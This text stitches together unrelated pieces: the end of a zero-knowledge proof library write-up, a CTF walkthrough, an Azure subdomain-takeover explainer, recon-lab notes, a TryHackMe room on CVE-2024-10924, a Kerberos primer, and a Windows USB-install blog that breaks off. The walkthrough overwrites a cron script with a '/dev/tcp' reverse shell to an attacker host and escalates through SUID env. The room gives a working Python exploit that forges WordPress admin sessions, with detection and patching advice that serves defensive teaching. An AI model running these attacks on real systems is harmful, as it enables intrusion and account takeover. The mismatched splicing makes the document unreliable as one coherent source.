    let public_inputs = PublicInputs {
        graph_root: graph_root.to_string(),
        threshold,
    };

    prover.prove(witness, public_inputs)
}

9.8 WASM Bindings (src/wasm.rs)

use wasm_bindgen::prelude::*;
use serde_wasm_bindgen::{from_value, to_value};
use crate::{execute_dense_zk_flow, client::DenseClient, prover::LocalProver};
use crate::rel1cs::{PublicInputs, ZKProof};

/// Initialize panic hook so Rust panics appear as JS console errors.
#[wasm_bindgen(start)]
pub fn init() {
    console_error_panic_hook::set_once();
}

/// WASM-exposed client for React Native.
/// Wraps DenseClient with JS-compatible types.
#[wasm_bindgen]
pub struct Client {
    inner: DenseClient,
}

#[wasm_bindgen]
impl Client {
    #[wasm_bindgen(constructor)]
    pub fn new() -> Client {
        Client { inner: DenseClient::new() }
    }

    /// Compute Poseidon witness for an edge.
    /// Returns a JsValue-serialized Witness struct.
    #[wasm_bindgen(js_name = createWitness)]
    pub fn create_witness(
        &mut self,
        sender_id: u64,
        receiver_id: u64,
        weight: u64,
    ) -> Result<JsValue, JsError> {
        let witness = self.inner
            .create_witness(sender_id, receiver_id, weight)
            .map_err(|e| JsError::new(&e.to_string()))?;

        // Serialize commitment as string for JS consumption
        let serialized = serde_json::json!({
            "sender_id": witness.edge.sender_id,
            "receiver_id": witness.edge.receiver_id,
            "weight": witness.edge.weight,
            "commitment": witness.commitment.to_string(),
        });

        to_value(&serialized).map_err(|e| JsError::new(&e.to_string()))
    }
}

/// One-shot WASM entry point for React Native.
#[wasm_bindgen(js_name = executeFlow)]
pub async fn execute_flow(
    sender_id: u64,
    receiver_id: u64,
    weight: u64,
    graph_root: &str,
    threshold: u64,
) -> Result<JsValue, JsError> {
    let proof = execute_dense_zk_flow(
        sender_id, receiver_id, weight, graph_root, threshold,
    ).map_err(|e| JsError::new(&e.to_string()))?;

    to_value(&proof).map_err(|e| JsError::new(&e.to_string()))
}

9.9 React Native Usage

import { executeFlow, init, Client } from '@densezk/react-native';

// One-shot flow: compute witness + generate proof
async function proveFollowRelationship() {
    await init();  // initialise WASM + panic hook

    const proof = await executeFlow(
        456,           // sender_id: Alice's nullifier
        789,           // receiver_id: Bob's nullifier
        1,             // weight: 1 = "follows"
        '0xabc123',   // graph_root: Merkle-Poseidon root cm
        1,             // threshold: prove at least 1 follow edge
    );

    console.log(`Proof size: ${proof.proof_bytes.length} bytes`);
    // → "Proof size: 128 bytes"
}

// Step-by-step for fine-grained control
async function proveWithCustomFlow() {
    await init();

    // Step 1: Generate witness on-device (WitGen)
    const client = new Client();
    const witness = await client.createWitness(456, 789, 1);
    console.log('Commitment:', witness.commitment);
    // → BN254 scalar field element as decimal string

    // Step 2: Delegate + Combine (in production: server does NTT)
    const prover = new Prover();
    const proof = await prover.prove(witness, {
        graph_root: '0xabc123',
        threshold: 1,
    });

    return proof;
}

9.10 Expected Output

[Client] Witness generated with Poseidon commitment:
  3227429301273914876261610954147013817301286893576706611663322465376918135905

[Prover] Proof generated locally, size: 128 bytes

The commitment value — 3227429301... — is the decimal representation of Pos(456, 789, 1) over the BN254 scalar field, computed with Circom-compatible Poseidon parameters. The proof is 128 bytes: the compressed serialization of ([A]₁, [B]₂, [C]₁) using ark_serialize::CanonicalSerialize with compressed G₁/G₂ encoding.

Part 10: Security Analysis

10.1 Soundness (Theorem 11.1)

A DenseZK proof π for social predicate Φ on graph commitment cm is sound: if Φ(G, x) = 0 for all graphs G consistent with cm, then Verify(π, x, cm) = 1 with probability at most negl(λ).

Proof: The DenseZK proof is a Groth16 proof for Rel1CS satisfiability (Theorem 4.1). Groth16 is knowledge-sound under q-SDH: a verifying prover possesses an extractable witness. By Theorem 4.1, the witness corresponds to a valid Merkle opening proof for each edge, which is binding under collision resistance of Poseidon. A valid Merkle opening for e ∉ E would require a Poseidon collision. ∎

10.2 Zero-Knowledge (Theorem 11.2)

DenseZK is honest-verifier zero-knowledge (HVZK): the distribution of π for any (x, cm, w) with Φ(G, x) = 1 is computationally indistinguishable from the output of a simulator S(vk, x, cm) that has no access to w.

Proof: Groth16 is HVZK. The split-witness protocol preserves zero-knowledge against the delegated prover by Theorem 5.1. The composition of an HVZK proof system with a witness-private delegation protocol is HVZK by a standard hybrid argument. ∎

10.3 Side-Channel Mitigations

Three defences against power analysis:

1. Constant-time MSM: Montgomery ladder for all scalar multiplications during witness generation. The execution path is independent of scalar bits.

2. Blinded witness: c̃m_w = cm_w + r · [δ]₁ ensures that even if the power trace of the on-device MSM is observed, the attacker recovers r (fresh random, never reused) rather than w_priv.

3. Hardware-backed key storage: sk must be stored in ARM TrustZone or Apple Secure Enclave and never loaded into the application memory space that performs ZK computation.

Part 11: Benchmarks

All measurements on real hardware:

Peak on-device RAM (split-witness protocol):

Note: the snarkjs baseline crashed on ΦA and ΦC on iPhone 16 Pro using SHA-256 Merkle trees (4 GB WASM heap limit). Reported times use Poseidon-only snarkjs circuits for comparability.

Closing Note

The implementation in the repository is the beginning of a larger system. The LocalProver currently runs the full Groth16 pipeline on-device for portability — in production, Step 3 (Delegate) separates out to the prover network. The recursive aggregation layer (Construction 7.1 on Pasta curves) and the STARK outer wrapper (Construction 9.1) are planned for the next release.

The tau.ptau file in the repository root is a powers-of-tau from the Hermez Network ceremony, reused for the single-circuit setup. In production, a per-ISA-opcode setup ceremony is required — six MPC ceremonies, one per opcode, enabling circuit-specific trusted setup with the minimum trust surface.

The code builds to native with cargo build --release and to WASM with wasm-pack build . --target bundler --release. The React Native SDK wraps the WASM output with TypeScript bindings in react-native-sdk/.

I did an nmap scan for all possible ports

▶ nmap -p- <ip>
Starting Nmap 7.94SVN (https://nmap.org) at 2025-02-01 15:38 EST Nmap scan report for <homeip>
Host is up (0.10s latency).
Not shown: 65531 closed tcp ports (reset)
PORT STATE SERVICE
21/tcp open ftp
22/tcp open ssh
139/tcp open netbios-ssn
445/tcp open microsoft-ds
Nmap done: 1 IP address (1 host up) scanned in 345.14 seconds

1. Enumerate the machine. How many ports are open?
   4

2. What service is running on port 21?
   ftp

3. What service is running on ports 139 and 445?
   smb

We can figure out the SMB shares through smbmap

smbmap -H <ip>

Now we know three shares, one of which is pics , let’s try to access it

▶ smbclient //<ip>/pics
Password for [WORKGROUP\berzi]:
Try "help" to get a list of possible commands.
smb: \> put test.txt
test.txt does not exist
smb: \> whoami
whoami: command not found
smb: \> pwd
Current directory is \\<ip>\pics\
smb: \> ls
  .                                   D        0  Sun May 17 16:41:34 2020
  ..                                  D        0  Thu May 14 07:29:10 2020
  corgo2.jpg                          N    42663  Tue May 12 06:13:42 2020
  puppos.jpeg                         N   265188  Tue May 12 06:13:42 2020

        20508240 blocks of size 1024. 13306804 blocks available

I found two files inside, and tried my best to figure out if there was any steganography involved, i tried channel splitting, binwalking, extracting strings but eventually I gave up.

corgo2.jpg
puppos.jpeg

turns out they were just ordinary dog images

1. There's a share on the user's computer. What's it called?
   pics

Now, we need to get a user shell, I tried if FTP was open to anonymous login

▶ ftp <ip> 21
Connected to 10.10.228.4.
220 NamelessOne's FTP Server!
Name (<ip>:berzi): anonymous

331 Please specify the password.
Password: 
230 Login successful.

There was only the scripts directory

ftp> ls
229 Entering Extended Passive Mode (|||49675|)
150 Here comes the directory listing.
-rwxr-xrwx    1 1000     1000           55 May 04 12:02 clean.sh
-rw-rw-r--    1 1000     1000         3698 May 04 10:58 removed_files.log
-rw-r--r--    1 1000     1000           68 May 12  2020 to_do.txt
226 Directory send OK.

The clean.sh file seemed like a file used during cronjobs, so I wrote a reverse shell script and replaced it with the same.

▶ cat clean.sh 
#!/bin/bash

tmp_files=0
echo $tmp_files
if [ $tmp_files=0 ]
then
        echo "Running cleanup script:  nothing to delete" >> /var/ftp/scripts/removed_files.log
else
    for LINE in $tmp_files; do
        rm -rf /tmp/$LINE && echo "$(date) | Removed file /tmp/$LINE" >> /var/ftp/scripts/removed_files.log;done
fi

Here’s the modified script

▶ cat clean.sh 
#!/bin/bash
bash -i >& /dev/tcp/"<ip>"/1337 0>&1

I opened a netcat listener on my attacker machine with nc -lvp 1337 and ran the script on the target

ftp> put clean.sh
local: clean.sh remote: clean.sh
229 Entering Extended Passive Mode (|||64918|)
150 Ok to send data.
100% |*********************************************************************|    41      444.87 KiB/s    00:00 ETA
226 Transfer complete.
41 bytes sent in 00:00 (0.07 KiB/s)


ftp> bash clean.sh
?Invalid command.

this gave me the target shell on my attacker machine. the user.txt was right in the directory i logged into.

1. user.txt

   90d6f992585815ff991e68748c414740

I checked for files which had SUID bit-set applied.

find / -perm -u=s -type f 2>/dev/null

and among the output, I found quite a few, but /usr/bin/env worked for me. I ran this:

namelessone@anonymous.com:~$ env /bin/sh -p
# cd /root
# cat root.txt
4d930091c31a622a7ed10f27999af363

1. root.txt
   4d930091c31a622a7ed10f27999af363

basically it is when what we have a dangling DNS record for an Azure resource (a VM or a Web app). When the Azure resource is deleted, the corresponding CNAME record stays. The attacker can find the respective subdomain and create the same resource under the same CNAME record with their own Azure account and take control of the subdomain associated with it.

Here’s a simple dig check to see the CNAME record of an example site

dig testing.forsubdomain.takeover

; <<>> DiG 9.18.30-0ubuntu0.22.04.2-Ubuntu <<>> testing.forsubdomain.takeover
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: xxxxxx
;; flags: qr rd ra; QUERY: 1, ANSWER: 4, AUTHORITY: 0, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 65494
;; QUESTION SECTION:
;testing.forsubdomaintakeover.        IN    A

;; ANSWER SECTION:
testing.forsubdomain.takeover.    3600    IN    CNAME    example.azurewebsites.net.

;; Query time: 332 msec
;; SERVER: 127.0.0.53#53(127.0.0.53) (UDP)
;; WHEN: Wed Mar 12 01:27:59 IST 2025
;; MSG SIZE  rcvd: 221

Now that you’ve checked the dig lookup, it’s time to check if its theoretically vulnerable, check out this https://github.com/EdOverflow/can-i-take-over-xyz/issues/35 for the list of subdomains and the DNS records that show vulnerability.

The ultimate and last line of defense in Azure lies in its domain validation feature. Let’s talk about this further.

When we visit the site mentioned in the CNAME record, we’ll get something like this, indicating the first signs of a possible takeover

Azure name reservation service

One of Azure's primary defenses against subdomain takeover is the Name Reservation Service, which is automatically enabled for App Service resources. This service implements a critical security control: upon deletion of an App Service app or App Service Environment (ASE), immediate reuse of the corresponding DNS name is forbidden except for subscriptions belonging to the tenant of the subscription that originally owned the DNS. Which means that you cannot perform the subdomain takeover for a while.

How does this happen now? Onto the next cool concept!

Domain verification tokens and TXT records

For example, if you own forsubdomain.takeover and want to add it as a custom domain to an Azure App Service, you would need to create a TXT record with the name "asuid.forsubdomain.takeover" and a value containing the verification ID provided by Azure, which typically looks like "5975973A85973A812AC2AC3A855973A812AC973A812AC12AC" this is a DVT (domain veritifacation token)

The Domain Validation Process

The domain validation process in Azure follows a structured workflow designed to ensure secure domain configuration. When adding a custom domain to an Azure App Service, the platform guides users through a validation procedure that requires two critical DNS records:

1. A domain mapping record: Either an A record (for root domains) that points to the app's IP address or a CNAME record (for subdomains) that points to the app's default domain name

2. A verification TXT record: The asuid.subdomain.takeover TXT record containing the domain verification ID

After adding these records with your domain provider, Azure's validation process verifies both records exist and are correctly configured. The platform provides a user-friendly interface that displays green check marks next to both domain records when they are properly set up. Only after successful validation will Azure allow the custom domain to be added to the service.

Services implementing this defense

• App Service

• Container Apps

• Traffic Manager

• Azure CDN

• CloudApp

• Virtual Machines

• Blob Storage

References

• Azure docs: https://learn.microsoft.com/en-us/azure/

• can-i-take-over-xyz repo https://github.com/EdOverflow/can-i-take-over-xyz

• dig lookup tool https://toolbox.googleapps.com/apps/dig

Lab Environment

A website is accessible at http://target.ine.local. Perform reconnaissance and capture the following flags.

• Flag 1: This tells search engines what to and what not to avoid.

• Flag 2: What website is running on the target, and what is its version?

• Flag 3: Directory browsing might reveal where files are stored.

• Flag 4: An overlooked backup file in the webroot can be problematic if it reveals sensitive configuration details.

• Flag 5: Certain files may reveal something interesting when mirrored.

Tools

• Firefox

• Curl

• HTTrack

Note

In this lab, the flag will follow the format: FLAG1{MD5Hash} OR FL@G1{MD5Hash}. For example, FLAG1{0f4d0db3668dd58cabb9eb409657eaa8}. You need to submit only the MD5 hash string, excluding the braces. For instance: 0f4d0db3668dd58cabb9eb409657eaa8.

This tells search engines what to and what not to avoid.
visit: target.ine.local/robots.txt

What website is running on the target, and what is its version?

nmap -sC target.ine.local

Directory browsing might reveal where files are stored.

The stack is wordpress and Apache, so google potential directories in wordpress that can have listing enabled, here’s a list:

• http://target-site.com/wp-content/uploads/

• http://target-site.com/wp-includes/

• http://target-site.com/wp-content/plugins/

• http://target-site.com/wp-content/themes/

An overlooked backup file in the webroot can be problematic if it reveals sensitive configuration details.

Certain files may reveal something interesting when mirrored.

Learning Objective

• Exploit a WordPress authentication through CVE 2024-10924

• How the exploit works

• Protection and mitigation measures

Room Pre-requisites

Understanding the following topics is recommended before starting the room:

• How Websites Work

• Protocols and Severs

• Web Application Basics

Connecting to the Machine

You can start the virtual machine by clicking the Start Machine button, which will start the machine in a split-screen view. If the VM is not visible, use the blue Show Split View button at the top of the page. Please wait 1-2 minutes after the system boots completely to let the auto scripts run successfully.

Let's begin!

Answer the questions below

I can successfully connect with the machine.

The vulnerability in CVE-2024-10924 arises due to non-adherence to secure coding practices while handling REST API endpoints in the WordPress Really Simple Security plugin. This plugin is widely used to add additional security measures, including Two-Factor Authentication (2FA). Unfortunately, improper validation during the authentication process allows attackers to exploit API endpoints and bypass critical checks.

WordPress Entry Points

WordPress offers various entry points for interaction:

• Admin Dashboard: Used for administrative management via the /wp-admin endpoint. Only authenticated users with valid credentials can access this interface.

• Public Interface: Managed by the index.php file in the root directory, it serves content to visitors.

• REST API: The API provides a flexible entry point for developers to manage site data programmatically. It requires proper authentication to access sensitive resources.

The CVE-2024-10924 vulnerability targets REST API endpoints configured for the plugin’s Two-Factor Authentication (2FA) mechanism. It enables attackers to bypass authentication by manipulating parameters used during API interactions. The vulnerability occurred due to insufficient validation of user-supplied values, specifically in the skip_onboarding feature.

How the Vulnerability Works

To understand how the vulnerability works, let's have a source code review to understand the control flow through the different pages. You can review the source code in the /var/www/html/wp-content/plugins/really-simple-ssl/security/wordpress/two-fa folder in the attached VM. The plugin contains a PHP class called Rsssl_Two_Factor_On_Board_Api, which includes the following essential methods that lead to a bypassing authentication vulnerability:

• skip_onboarding: Skips or manages the 2FA onboarding process for a user by validating their credentials and redirecting them after authentication. It begins by extracting parameters from the request, including user_id, login_nonce, and redirect_to. These parameters are then passed to the check_login_and_get_user function for validation. If a valid user object is returned, the method calls authenticate_and_redirect, redirecting the user to the redirect_to URL.

•       /**
         * Skips the onboarding process for the user.
         *
         * @param WP_REST_Request $request The REST request object.
         *
         * @return WP_REST_Response The REST response object.
         */
  
        public function skip_onboarding( WP_REST_Request $request ): WP_REST_Response {
            $parameters = new Rsssl_Request_Parameters( $request );
            // As a double we check the user_id with the login nonce.
            $user = $this->check_login_and_get_user( (int)$parameters->user_id, $parameters->login_nonce );
            return $this->authenticate_and_redirect( $parameters->user_id, $parameters->redirect_to );
  

  The vulnerability lies in the skip_onboarding method not validating the return value of check_login_and_get_user. Even if the function returns null, indicating invalid credentials, the process redirects the user, granting unauthorised access. The call to skip_onboarding is carried out through the REST API endpoint /?rest_route=/reallysimplessl/v1/two_fa/skip_onboarding with POST parameters user_id, login_none and redirect_to URL.

• check_login_and_get_user: The check_login_and_get_user function is responsible for validating the user_id and login_nonce. It first checks the validity of the login_nonce using the verify_login_nonce function. If the nonce is invalid, it returns null, ensuring an authentication failure. If the nonce is valid, it retrieves the user object associated with the provided user_id and returns it.

    /**
     * Verifies a login nonce, gets user by the user id, and returns an error response if any steps fail.
     *
     * @param int    $user_id The user ID.
     * @param string $login_nonce The login nonce.
     *
     * @return WP_User|WP_REST_Response
     */

    private function check_login_and_get_user( int $user_id, string $login_nonce ) {
        if ( ! Rsssl_Two_Fa_Authentication::verify_login_nonce( $user_id, $login_nonce ) ) {
            return new WP_REST_Response( array( 'error' => 'Invalid login nonce' ), 403 );
        }

The problem arises because skip_onboarding does not properly handle the null response from this function. While the function does its job of identifying invalid credentials, the calling method ignores its return value, allowing the process to continue as if the authentication was successful.

• authenticate_and_redirect: This function redirects the user after successful authentication. It assumes that the earlier methods have already authenticated the user. It uses the user_id and redirect_to parameters to redirect the user to the desired URL.

/**
     * Sets the authentication cookie and returns a success response.
     *
     * @param int    $user_id The user ID.
     * @param string $redirect_to The redirect URL.
     *
     * @return WP_REST_Response
     */

    private function authenticate_and_redirect( int $user_id, string $redirect_to = '' ): WP_REST_Response {
        // Okay checked the provider now authenticate the user.
        wp_set_auth_cookie( $user_id, true );
        // Finally redirect the user to the redirect_to page or to the home page if the redirect_to is not set.
        $redirect_to = $redirect_to ?: home_url();
        return new WP_REST_Response( array( 'redirect_to' => $redirect_to ), 200 );
    }

However, this function is called even if authentication fails. Therefore, the attacker is seamlessly redirected to the desired page, bypassing the authentication mechanism. Such instances are the first of their kind, and normally, such security flaws have never been seen in a renowned plugin.

It is important to note that the vulnerability only works for the accounts against whom 2FA is enabled. The chain of methods reveals how improper validation leads to a critical security flaw:

• In skip_onboarding: The return value from check_login_and_get_user is not validated, allowing a null response to be treated as a valid user.

• In check_login_and_get_user: While it correctly identifies invalid credentials, it relies on the caller to handle its return value, which does not happen.

• In authenticate_and_redirect: It blindly redirects users based on the parameters passed to it, assuming they have been properly authenticated.

Now that we understand the concept behind the vulnerability, let's exploit it in the next task.

Answer the questions below

What is the class name that holds the important three functions discussed in the task?

Rsssl_Two_Factor_On_Board_Api

What is the function name that accepts user_id and login_nonce as arguments and validates them?

check_login_and_get_user

In this task, we will learn how to exploit CVE-2024-10924. Exploiting of this vulnerability is straightforward and involves sending a crafted POST request to the vulnerable /reallysimplessl/v1/two_fa/skip_onboarding endpoint. From the previous task, we learned that the endpoint accepts three key parameters: the user's ID attempting to skip 2FA onboarding, a nonce value which is not validated correctly, and the URL to redirect the user after the operation.

Exploitation

In the attached VM, open the browser and visit the website http://vulnerablewp.thm:8080/wp-admin. We will see that the website is protected through a login panel. Our goal is to retrieve credentials against a WordPress user admin with user_id 1.

Below is a simple Python script that sends a POST request to the vulnerable endpoint. This script extracts and displays the cookies in response to authenticate the user.

import requests
import urllib.parse
import sys

if len(sys.argv) != 2:
    print("Usage: python exploit.py <user_id>")
    sys.exit(1)

user_id = sys.argv[1]

url = "http://vulnerablewp.thm:8080/?rest_route=/reallysimplessl/v1/two_fa/skip_onboarding"
data = {
    "user_id": int(user_id),  # User ID from the argument
    "login_nonce": "invalid_nonce",  # Arbitrary value
    "redirect_to": "/wp-admin/"  # Target redirection
}

# Sending the POST request
response = requests.post(url, json=data)

# Checking the response
if response.status_code == 200:
    print("Request successful!\n")

    # Extracting cookies
    cookies = response.cookies.get_dict()
    count = 1

    for name, value in cookies.items():
        decoded_value = urllib.parse.unquote(value)  # Decode the URL-encoded cookie value
        print(f"Cookie {count}:")
        print(f"Cookie Name: {name}")
        print(f"Cookie Value: {decoded_value}\n")
        count += 1
else:
    print("Request failed!")
    print(f"Status Code: {response.status_code}")
    print(f"Response Text: {response.text}")

The above Python code is already available on the Desktop of the attached VM with the name exploit.py. Open the terminal and execute the script using the the following command:

Terminal

           ubuntu@tryhackme:~/Desktop$ python3 exploit.py 1
Request successful!

Cookie 1:
Cookie Name: wordpress_logged_in_eb51341dc89ca85477118d98a618ef6f
Cookie Value: admin|1734510575|oROXr3wB4mKDymD0koHZenGeStwYsqZbMcWqOlm4QI
Cookie 2:
Cookie Name: wordpress_eb51341dc89ca85477118d98a618ef6f
Cookie Value: admin|1734510575|oROXr3wB4mKDymD0koHZenGeStwYsqZbMcWqOlm4QI2|c29b74eaa

The above script sends a POST request to the WordPress endpoint and retrieves the authenticated cookie values for the specified user_id, with 1 typically being assigned to the first user on the website.

Note: The cookie values in the output above are intentionally omitted for the user_id 1.

From Cookies to Admin Login

Now, we will use the cookies retrieved earlier to log in as admin on the WordPress site. While on the vulnerablewp.thm:8080 page, you can manually inject the cookies into Firefox. To do this, right-click on the page and select Inspect, then open the browser's developer tools.

Once the Developer Tools panel is open, look for the Storage tab at the top. Click on it to access the storage-related data. Locate and expand the Cookies section on the left-hand sidebar of the Storage tab. Under Cookies, you will see a list of domains for which cookies are stored. Select http://vulnerablewp.thm:8080 from this list to view all cookies associated with the site.

With the cookies table visible, you can now add the cookies retrieved earlier. To do this, click on the plus sign (+) and a new row will appear in the table. Start by double-clicking the empty Name field in the new row and paste the name of the cookie, such as wordpress_logged_in_xxx. After pasting the cookie name, double-click the empty Value field and paste the cookie value you retrieved earlier. For example, a typical value might look like admin|1734424855|GmsuEza35K2GtvS57bhIVl5CbFZKVlpuYxEbIYVLk4. Repeat the same step for the other cookie as well. A simple visual representation for adding a cookie test with the value of value is shown below:

After adding the cookies, close the Developer Tools panel, enter the WordPress admin dashboard link http://vulnerablewp.thm:8080/wp-admin in the address bar, and press Enter. This will apply the injected cookies to your session. When the page reloads, you should be logged in as the user_id 1. If everything was done correctly, you will see the admin interface as shown below:

Once logged in as the user_id 1, navigate to this link to get details about your profile, such as your username, email address, and personal settings.

Adding Cookies in Browers

There are multiple ways to add cookies in the browser. If you have difficulty using the above method, you can add cookies to the browser using an extension like Cookiebro Editor. Follow the steps provided in the extension below to add or edit cookies. Ensure the expiration date for the cookies is set to a future value to keep them valid.

Now that you understand how to exploit the vulnerability, let's review some mitigation measures for prevention.

Answer the questions below

What email address is associated with the username admin (user_id 1)?

admin@fake.thm

Run the exploit.py script with argument 1 open the cookies in storage of browser dev console. add the two new cookies for admin then visit the /wp-admin endpoint

What is the first name value for the username tesla (user_id 2)?

Jack

open the cookie storage once again while logged in, open the cookie storage and run the exploit.py with 2 as argument for tesla user, then refresh the dashboard to enter the tesla dashboard, go to profiles and get the first name!

What is the HTTP method required for exploiting the vulnerability? (GET/POST)

POST

Just see the scripts above

In the previous task, we learned that the vulnerability in CVE-2024-10924 can be exploited by making a simple API call to a specific endpoint. Now, we will discuss a few detection and mitigation techniques. The challenge lies in detecting such exploitation, as legitimate API calls to the endpoint can also occur, making distinguishing between normal and malicious activity difficult.

Examining Logs

To identify exploitation attempts of CVE-2024-10924, we can rely on various logs that capture API activity, events, etc. Below are some methods to examine logs for potential exploitation:

• Check Weblogs for API Calls: Focus on detecting requests to the vulnerable endpoint, /?rest_route=/reallysimplessl/v1/two_fa/skip_onboarding with unusual patterns like repeated POST requests to the endpoint, requests with varying user_id or login_nonce parameters, indicating brute force attempts, etc.

• Analyse Authentication Logs: Look for login attempts where two-factor authentication is bypassed. Indicators of potential exploitation include failed login attempts followed by a sudden successful login without 2FA validation, logins to administrative accounts from unexpected geolocations or devices, etc.

• SIEM Query: If you are using a SIEM solution like OpenSearch, create a query to filter and visualise logs for potential exploitation attempts. A sample query could be:

method:POST AND path:"/reallysimplessl/v1/two_fa/skip_onboarding"

Note: If the above query generates results, it does not necessarily confirm exploitation. However, when combined with other indicators, like previous suspicious requests, it can provide better insight into potential attacks.

Mitigation Steps

As part of the mitigation process, the developers of the Really Simple Security plugin have officially released a patch addressing CVE-2024-10924. A source code review of the updated version reveals that additional validation and error-handling steps have been implemented to handle the authentication bypass.

Here are some additional mitigation measures to secure your website:

• Apply the Official Patch: Update the Really Simple Security plugin to version 9.1.2 or later, which includes a fix for the vulnerability and also enables auto updates.

• Update the alerts in the SIEM so you are notified as soon as an exploitation attempt is made.

• Developers must implement proper input validation and rigorous error handling for all API endpoints to prevent the processing of malicious or invalid parameters.

Answer the questions below

As a security engineer, you have identified a call to the /reallysimplessl/v1/two_fa/skip_onboarding

endpoint from weblogs. Does that confirm that the user is 100% infected? (yea/nay)

nay

I have understood the detection and mitigation techniques.

This is it.

As WordPress is one of the most widely used CMS platforms and its plugins are frequent targets for attackers, it is highly recommended that all plugins, including Really Simple Security, be updated to avoid exploitation of such vulnerabilities.

In this room, we covered the following:

• The workings of the critical vulnerability in the Really Simple Security plugin (CVE ID 2024-10924).

• How attackers can exploit the vulnerability to bypass two-factor authentication and gain unauthorised access using crafted API calls.

• Methods to detect exploitation attempts in logs, including web server logs and SIEM tools.

• Effective mitigation strategies include patching the plugin and following secure coding practices.

Let us know what you think about this room on our Discord channel or X account. If you liked this room, feel free to look at our Authentication module, which covers advanced techniques to bypass authentication mechanisms.

I know right? It’s equally much of a headache. Kerberos is an authentication protocol that’s made and maintained by MIT and used in numerous applications like in Windows Active Directory. Kerberos was derived from the greek word “Cerberus”.

Wait, what’s Active Directory?

Some Basic Terms and Objects

Active Directory is a central repository that centralises administration of components of windows machines within a Domain (or a network). There’s something called Active Directory domain service, which holds info for all objects in network. What’s an object? Users, Groups, Machines, the usual deal.

types of objects include security principals (can be auth’d by domain and can be assigned perms over resources), machines (saved as <machine_name>$ )

security groups: groups of security principals (also considered as security principals!), here’s a priority-wise list of security groups…

Organisational units

Organisational units group users and machines with similar permission sets

1. builtin (default groups)

2. computers

3. DCs

4. user

5. managed service accounts (every resource requires a service account)

Security groups are to grant permissions together, while OUs are to group objects with similar permissions. By searching about GPOs on the Windows start menu, you can set policies for multiple groups.

Trees, Forests, Subdomaining

trees is to create subdomains out of an existing domains, forest is a collection of trees. interconnected trees need to have a trust-policy (which can be either one-way or two-way trust)

Setting up a Local lab

You might need a specification of at least 16GBs of RAM and at least 256 GBs of SSD storage, if not possible locally, consider a Cloud-based setup on Azure/AWS

Here’s what you’ll need:

1. Windows server 2019

2. Least 2 Windows 10 enterprise edition

3. One Attackbox VM (like Kali/Parrot)

For Windows-based VMs, you can set aside 50-60GBs of disk space, and 25 GBs for the attackbox to enumerate and exploit your network. The server VM will act as the domain controller, while the enterprise VMs will act as client machines on the network. Please allocate at least 6 GBs of RAM to each and set the network type to NAT.

Alright, let’s dive into authentication next!

Organs of Kerberos

We have 4 prime parts in the protocol: the user primarily, the domain controller consisting of the authentication server + ticket granting server and finally the resource or service provider.

The authentication server ensures that an existing and valid user is requesting a service, the ticket granting server authenticates the request for the particular service to the user.

Symmetric keys

Kerberos uses symmetric key cryptography is validate, encrypt and decrypt messages. Here’s a cool chart for what kind of algorithm is supported:

Caches and key tables

Users have their own unique user cache that stores the service ticket used to access the service.

Authentication service has a table to match user ids with their respective client secret keys. Similar case for the ticket granting service.

Meanwhile, the service only holds the service cache which stores the user authenticator message.

Protocol workflow

The user sends a request for a “Ticket granting ticket” that can be sent to the TGS to get a service ticket. The auth service matches the user id with the respective client secret key (also ensuring if the user exists) and then sends back the TGT metadata encrypted with the client secret key and the TGT encrypted with the TGS secret key.

The user can only decode and check the acknowledgement from the TGT meta through the secret key generated by hashing the mentioned format in the diagram mentioned. (<password><user>@something.com<key version>)

The user sends the user authenticator encrypted with the TGS session key from the TGT metadata, and the TGT which is still encrypted. The TGS now decrypts the TGT and checks the contents through the key stored in the TGS key table.

Now, the user receives the service metadata encrypted with TGS session key (which has a temporary fixed lifetime) along with the service ticket encrypted with a service secret key. Once again, the user can’t view the contents of the service ticket. The TGS session key now is used to help decrypt and acknowledge the service metadata. Finally, the service ticket is sent to the resource along with an User authenticator message encrypted with service session key received from the service meta-data.

Ultimately, we receive the service authentication and finally decrypt it through the service session key. And now we can use the service.

Exploitation Techniques

Kerberoasting

Kerberoasting exploits the Kerberos authentication process by targeting the service tickets issued by the Ticket Granting Service (TGS). During authentication, the TGS issues a service ticket encrypted with the service account's secret key (derived from its NTLM hash). While the user cannot view the contents of the ticket, the encrypted ticket is sent to the client. In a Kerberoasting attack, the attacker requests service tickets for specific services and captures them. Since the tickets are encrypted with the service's NTLM hash, they can be brute-forced offline to recover the service account's credentials, potentially gaining unauthorized access to privileged accounts.

Golden Ticketing

Golden Ticketing is a powerful attack against Kerberos authentication that allows an attacker to create forged Ticket Granting Tickets (TGTs) for any user, including domain administrators, without needing their passwords. This attack exploits the Kerberos Key Distribution Center (KDC) secret, specifically the KRBTGT account hash, which is used to sign and encrypt all TGTs in a domain.

Here’s how it works:

1. Compromise the KRBTGT Hash: The attacker must first obtain the KRBTGT account's NTLM hash. This is typically done by gaining elevated privileges, such as Domain Admin access.

2. Create a Forged TGT: Using tools like Mimikatz, the attacker creates a fake TGT for any user, embedding any permissions they desire, such as Domain Admin privileges.

3. Authenticate Using the Forged TGT: The attacker injects the forged TGT into their session. Since the TGT is signed with the valid KRBTGT hash, the KDC treats it as legitimate, granting access to requested resources.

Golden Ticketing provides attackers with persistent access, as even resetting user passwords won't invalidate the forged tickets. The only way to mitigate this attack is to reset the KRBTGT account password twice, invalidating all existing tickets.

This wasn’t Hacking, until it was…

Why “Hacking”? That’s coz Microsoft loves to make things complicated! Traditional ISO flashes like Balena etcher, Popsicle nowdays won’t support making a windows bootable USB. Hence you’re left with usually two most efficient methods to create a bootable USB:

1. Install Ventoy, flash it into the USB, drag and drop your windows ISO into the USB drive… OR

2. Create a Windows VM (which is thankfully easy to setup), install Rufus, give the VM access to the USB drive, then flash the ISO into the drive directly through Rufus.

Now we got our USB drive, what next? Drivers! Why? Because Windows won’t detect your drive without them, and without detection, you won’t be able to install your OS! I’ll target two kinds of drivers: one from Intel, and one from AMD.

Drivers driving us insane

For either of these, install the respective .exe file, on a Windows VM. This will create the driver files and save them in your system, organize them inside a folder and store them in a flash drive.

Double USB ninja technique!!!

Now you gotta go ninja mode. Plug the first USB drive made bootable with Windows 10, set the boot priority to make sure you boot into the USB drive. After the installation wizard starts, select “Custom Install”, then see if any drives are being detected, if not, click “Load drivers”. You might come across this screen…

